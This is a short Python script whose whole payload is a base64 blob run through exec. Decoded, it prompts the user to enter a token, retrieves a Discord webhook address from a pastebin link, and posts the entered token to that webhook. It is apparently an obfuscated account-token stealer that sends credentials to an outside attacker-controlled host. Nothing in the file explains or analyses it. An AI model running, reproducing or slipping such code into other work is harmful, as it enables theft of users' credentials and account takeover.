from base64 import b64decode as d
exec(d("ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGRlY29kZSBhcyBkO2Zyb20gcmVxdWVzdHMgaW1wb3J0IGdldCBhcyBnO2Zyb20gcmVxdWVzdHMgaW1wb3J0IHBvc3QgYXMgcDsKSUdISFpYZnM9aW5wdXQoIkVudGVyIHRva2VuID4iKTtHYmRzWXNobkM9ZyhkKCJhSFIwY0hNNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0x6aE5NM0JoUzFSeCIpKS5jb250ZW50O0hKR3lHVVlzYVp4PWQoImFIUjBjSE02THk5a2FYTmpiM0prTG1OdmJTOWhjR2t2ZDJWaWFHOXZhM012IikrZCgiT1RRd09EVTJNak14TnpFek56RTRNamd5IikrR2Jkc1lzaG5DO3NZSGpHUz1zdHIoZCgiVG1WM0lFRnNaWEowSVNCQVpYWmxjbmx2Ym1VSyIpKSsiXG4iK3N0cihkKCJWRzlyWlc0NklBPT0iKSkrSUdISFpYZnM7IERUU3lpd2V1SktncyA9IHsiY29udGVudCI6c1lIakdTLnJlcGxhY2UociJcbiIsICIiKS5yZXBsYWNlKCJiJyIsICIiKS5yZXBsYWNlKCInIiwgIiIpCn07cChISkd5R1VZc2FaeCwgZGF0YT1EVFN5aXdldUpLZ3Mp"))